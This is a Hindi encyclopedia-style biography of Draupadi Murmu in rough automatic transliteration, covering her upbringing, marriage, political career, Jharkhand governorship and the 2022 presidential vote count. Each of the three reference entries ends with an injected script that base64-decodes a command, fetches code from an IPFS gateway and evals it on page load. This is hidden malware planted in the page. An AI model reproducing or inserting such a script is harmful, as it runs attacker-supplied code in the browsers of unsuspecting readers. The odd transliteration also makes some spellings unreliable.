द्रौपदी मुर्मू
draupadi murmoo
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| poora nam | draupadi murmoo |
| janm | 20 joon, 1958 |
| janm bhoomi | mayoorabhanj, odisha |
| abhibhavak | pita- biraanchi narayan tudoo |
| pati/patni | shyam charan murmoo (svargavasi) |
| nagarikata | bharatiy |
| prasiddhi | rajanitijn |
| parti | bharatiy janata parti |
| pad | rashtrapati bharat - 25 julaee, 2022 se padasth rajyapal, jharakhand- 18 mee, 2015 se 12 julaee, 2021 tak |
| shiksha | snatak |
| vidyalay | ramadevi mahila mahavidyalay, bhuvaneshvar |
| sanbandhit lekh | rajyapal, bharat ke rajyoan ke vartaman rajyapaloan ki soochi |
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parichay
sal 2015-2021 ke bich jharakhand ki gavarnar rahian draupadi murmoo ka janm 20 joon, 1958 ko u disa mean hua tha. unaki padhaee bhuvaneshvar ke ramadevi vumeans k aaulej se huee hai. vah shnatak haian. unake pati shhyam charan murmoo ab jivit nahian haian. draupadi murmoo adivasi jatiy samooh santhal se sanbandh rakhati haian. unhoanne apane grih janapad se shuruati shiksha poori karane ke bad bhuvaneshvar ke ramadevi mahila mahavidyalay se snatak ki digri hasil ki. padhaee poori hone ke bad ek shikshak ke taur par apane kॅriyar ki shuruat ki aur kuchh samay tak is kshetr mean kam kiya.[1]
unake pita ka nam biraanchi narayan tudoo tha jo ki ek kisan the. unake do bhaee haian. bhagat tudoo aur saraini tudoo. draupadi murmoo ki shadi shyam charan murmoo se huee thi. unase do bete aur do beti huee. sal 1984 mean ek beti ki maut ho gee. draupadi murmoo ka bachapan behad abhavoan aur garibi mean bita tha. lekin apani sthiti ko unhoanne apani mehanat ke a de nahian ane diya. unhoanne bhuvaneshvar ke ramadevi voomen k aaulej se snatak tak ki padhaee poori ki. beti ko padhane ke lie draupadi murmoo shikshak ban geean.[2]
k aaulej jane vali gaanv ki pahali l daki
draupadi murmoo ki skooli padhaee gaanv mean huee. sal 1969 se 1973 tak vah adivasi avasiy vidyalay mean padhian. isake bad snatak karane ke lie unhoanne bhuvaneshvar ke rama devi vumans k aaulej mean dakhila le liya. draupadi murmoo apane gaanv ki pahali l daki thian, jo snatak ki padhaee karane ke bad bhuvaneshvar tak pahuanchi. k aaulej mean padhaee ke dauran unaki mulakat shyam charan murmoo se huee. donoan ki mulakat badhi, dosti huee, dosti pyar mean badal gee. shyam charan bhi us vakt bhuvaneshvar ke ek k aaulej se padhaee kar rahe the.
vivah
draupadi murmoo aur shyam charan donoan ek doosare ko pasand karane lage the. donoan ek sath age ka jivan vyatit karana chahate the. parivar ki rajamandi ke lie shyam charan vivah ka prastav lekar draupadi murmoo ke ghar pahuanch ge. shyam charan ke kuchh rishtedar draupadi murmoo ke gaanv mean hi rahate the. aise mean apani bat rakhane ke lie shyam charan apane chacha aur rishtedaroan ko lekar unake ghar ge the. tamam koshishoan ke bavajood draupadi murmoo ke pita biranchi narayan tudoo ne is rishte ko lekar iankar kar diya. shyam charan bhi pichhe hatane vale nahian the. unhoanne tay kar liya tha ki agar vah shadi kareange to draupadi murmoo se hi kareange. draupadi murmoo ne bhi ghar mean saph kah diya tha ki vah shyam charan se hi shadi kareangi. shyam charan ne tin din tak draupadi murmoo ke gaanv mean hi dera dal liya. thak harakar draupadi murmoo ke pita ne is rishte ko manjoori de di.[2]
dahej mean mile gay, bail aur kap de
vivah ke lie draupadi murmoo ke pita man chuke the. ab shyam charan aur draupadi murmoo ke gharavale dahej ki batachit ko lekar baithe. isamean tay hua ki shyam charan ke ghar se draupadi murmoo ko ek gay, ek bail aur 16 jo di kap de die jaeange. donoan ke parivar is par sahamat ho ge. darasal draupadi murmoo jis santhal samuday se ati haian, usamean l daki ke gharavaloan ko l dake ki taraph se dahej diya jata hai. kuchh din bad shyam charan se draupadi murmoo ka vivah ho gaya.
shuroo hua rajanitik saphar
rajaniti mean ane se pahale draupadi murmoo ne ek shikshak ke taur par apane kॅriyar ki shuruat ki thi. unhoanne 1979 se 1983 tak sianchaee aur bijali vibhag mean jooniyar asisteant ke roop mean bhi kary kiya. isake bad 1994 se 1997 tak unhoanne aaunareri asisteant tichar ke roop mean kary kiya. san 1997 mean unhoanne pahali bar chunav l da. odisha ke rairaangapur jile mean parshad chuni geean. isake bad vah jila parishad ki upadhyaksh bhi chuni geean. varsh 2000 mean vidhanasabha chunav l dian. rairaangapur vidhanasabha se vidhayak chune jane ke bad unhean bijad aur bhajapa gathabandhan vali sarakar mean svatantr prabhar ka rajyamantri banaya gaya.
sal 2002 mean draupadi murmoo ko odisha sarakar mean matsy evan pashupalan vibhag ka rajyamantri banaya gaya. 2006 mean unhean bhajapa anusoochit janajati morcha ka pradesh adhyaksh banaya gaya. 2009 mean vah rairaangapur vidhanasabha se doosari bar bhajapa ke tikat par chunav jitian. isake bad 2009 mean vah lokasabha chunav bhi l dian, lekin jit nahian paeean. 2015 mean draupadi murmoo ko jharakhand ka rajyapal banaya gaya. 2021 tak unhoanne rajyapal ke taur par apani sevaean dian. rashtrapati ka chunav jitane ke sath hi vah desh ki pahali adivasi rashtrapati ban geean. isake alava desh ki doosari mahila rashtrapati banane ka khitab bhi apane nam kiya. 64 sal ki draupadi rashtrapati pad par pahuanchane vali sabase kam umr ki shakhsiyat haian.[2]
jivan ki sabase b di chunauti
ek daur aisa bhi tha jab draupadi murmoo ke samane du:khoan ka paha d toot p da tha aur vo poori tarah toot gee thian. sal 2009 mean draupadi murmoo ko sabase b da jhataka laga. unake b de bete ki ek marg durghatana mean mrityu ho gee thi. us dauran unake bete ki umr matr 25 varsh thi. ye sadama jhelana unake lie behad mushkil ho gaya. isake bad varsh 2013 mean unake doosare bete ki bhi mrityu ho gee. phir 2014 mean unake pati ka bhi dehaant ho gaya. aisi sthiti mean draupadi murmoo ke lie khud ko sanbhal pana behad mushkil tha. halaanki unake janane vale kahate haian ki vah har chunauti se dil karana janati haian. aise hi unhoanne apane kathin samay se bhi par paya. vah mediteshan karane lagian. sal 2009 se hi unhoanne mediteshan ke alag-alag tarike apanae. ve lagatar mauant aboo sthit brahmakumari sansthan jati rahian.[1]
rajyapal
draupadi murmoo 18 mee, 2015 se 12 julaee, 2021 tak jharakhand ki rajyapal rah chuki haian. draupadi murmoo bhajapa-bijoo janata dal ki odisha mean bani gathabandhan sarakar mean mantri rah chuki haian. jharakhand ke pradesh bijepi adhyaksh aur kodarama se saansad ravindr ray ka kahana tha ki- "bijepi ke netritv mean bani enadie sarakar ne desh ke adivasi samuday ko unaka hak dene ke prayas ke tahat ek adivasi mahila neta ko rajyapal banaya. isase poore desh mean hi nahian, vishv mean bhi achchha sandesh jaega". rajy ke poorv siem hemant soren ne bhi draupadi murmoo ko rajyapal banae jane ka svagat kiya tha aur kaha tha ki "yah kendr sarakar ka achchha kadam hai". draupadi murmoo se pahale jharakhand ke gathan ke bad 15 navanbar, 2000 ko prabhat kumar yahaan ke pahale rajyapal bane the. unake bad vi. si. paande, em. rama jois, ved maravah, saiyad sibte raji, ke. shankaranarayanan, em. o. ech. farook aur d aau. saiyad ahamad yahaan ke rajyapal rahe.
bharat ki rashtrapati
21 julaee, 2022 ko subah 11 baje shuroo huee ginati mean neshanal demokretik alayans (enadie) ki pratyashi draupadi murmoo ne yoonaited progresiv alayans (yoopie) ke ummidavar yashavant sinha ko tisare charan ki ginati mean hi hara diya. unako jit ke lie jaroori 5 lakh 43 hajar 261 vot tisare charam mean hi mil ge. tisare charan mean unhean 5 lakh 77 hajar 777 vot mile. yashavant sinha is charan mean 2 lakh 61 hajar 62 vot hi juta sake. isamean rajyasabha aur lokasabha ke saansadoan samet 20 rajyoan ke vot shamil the. isake bad pradhanamantri nareandr modi aur je. pi. nadhda ne draupadi murmoo ke ghar pahuanchakar unhean badhaee di.
rashtrapati chunav ke votoan ki ginati der rat 4 charanoan mean poori huee. kul 4754 vot p de the. ginati ke vakt 4701 vot vaidh aur 53 amany pae ge. kul votoan ka kota 5,28,491 tha. isamean draupadi murmoo ko kul 2824 vot mile. inaki vailyoo 6 lakh 76 hajar 803 thi. keral se unako sabase kam sirph ek aur uttar pradesh se sabase jyada 287 vot mile. vahian, yashavant sinha ko kul 1877 vot mile, jinaki vailyoo 3 lakh 80 hajar 177 rahi. doosari taraph sinha ko aandhr pradesh, nagalaiand aur sikkim se ek bhi vot nahian mile, jabaki unhean sabase jyada 216 vot pashchim bangal se mile. vot pratishat ki bat karean to draupadi murmoo ko 64 pratishat aur yashavant sinha ko 36 pratishat vot mile.[3]
doosari taraph, yashavant sinha ne bhi har svikar ki. unhoanne kaha- "draupadi murmoo ko unaki jit par badhaee deta hooan. desh ko ummid hai ki ganatantr ke 15vean rashtrapati ke roop mean ve bina kisi bhay ya pakshapat ke sanvidhan ke sanrakshak ke roop mean kary kareangi".
pratham charan ki ginati
rajyasabha ke sekretari janaral pisi modi ke mutabik, dopahar 2 baje saansadoan ke voto ki ginati poori huee. isamean draupadi murmoo ko 540 vot mile. inaki kul vailyoo 3 lakh 78 hajar thi. yashavant sinha ko 208 saansadoan ke vot mile. inaki vot vailyoo 1 lakh 45 hajar 600 thi. saansadoan ke kul 15 vot radd ho ge. sootroan ke mutabik, 17 saansadoan ne kr aaus votiang ki.
doosare charan ki ginati
pahale 10 rajyoan ki ginati mean bhi draupadi murmoo aur sinha ke bich aank doan ka lanba aantar dikh raha tha. in rajyoan mean kul 1138 vailid vot the, jinaki vailyoo 1 lakh 49 hajar 575 thi. inamean murmoo ko 809 vot mile. inaki vailyoo 1 lakh 5 hajar 299 thi. yashavant sinha ko 329 vot milean, jinaki kul vailyoo 44 hajar 276 thi. in 10 rajyoan mean arunachal pradesh, asam, bihar, chhattisagadh, gova, gujarat, hariyana, himachal pradesh aur jharakhand ke alava aandhr pradesh ke vot shamil haian. inamean 7 rajyoan mean bhajapa aur gathabandhan ki sarakarean haian. jharakhand aur chhattisagadh mean kaangres aur usake sahayogi daloan ki sarakar hai. aandhr pradesh mean jaganamohan redhdi mukhyamantri haian, jinhoanne enadie ko samarthan dene ka ailan kiya tha.[3]
tisare charan ki ginati
tisare charan ke 10 rajyoan ki ginati mean bhi draupadi murmoo aur yashavant sinha ke bich vot ka b da aantar raha. in rajyoan mean kul 1,333 vailid vot haian, jinaki vailyoo 1 lakh 65 hajar 664 thi. inamean murmoo ko 812 aur sinha ko 521 vot mile. in 10 rajyoan mean karnatak, keral, madhy pradesh, maharashtr, manipur, meghalay, mijoram, nagalaiand, o disha aur panjab ke vot shamil the.
bharatiy janata parti ne 21 joon, 2022 ko draupadi murmoo ko rashtrapati pad ka ummidavar banaya tha, tab enadie ke khate mean 5 lakh 63 hajar 825, yani 52 pratishat vot the. 24 vipakshi daloan ke sath hone par yashavant sinha ke sath 4 lakh 80 hajar 748 yani 44 pratishat vot mane ja rahe the. bite 27 din mean kee gair enadie daloan ke samarthan mean ane se draupadi murmoo ko nirnayak badhat mil gee. sabhi 10 lakh 86 hajar 431 vot p dane ki sthiti mean jit ke lie 5 lakh 40 hajar 65 vot chahie the. draupadi murmoo ko tisare charan mean hi jaroori vot ko kr aaus kar liya tha.[3]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 bharat ki 15vian rashtrapati banian draupadi murmoo (hiandi) zeenews.india.com. abhigaman tithi: 23 julaee, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 jhop di se rashtrapati bhavan tak ka saphar murmoo ne kaise kiya? (hiandi) amarujala.com. abhigaman tithi: 23 julaee, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 3.0 3.1 3.2 draupadi murmoo rashtrapati chunav jitian:desh ki pahali adivasi aur doosari mahila presideant hoangi (hiandi) bhaskar.com. abhigaman tithi: 23 julaee, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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- punarpreshit saancha:rajyapal, uparajyapal v prashasak
varnamala kramanusar lekh khoj
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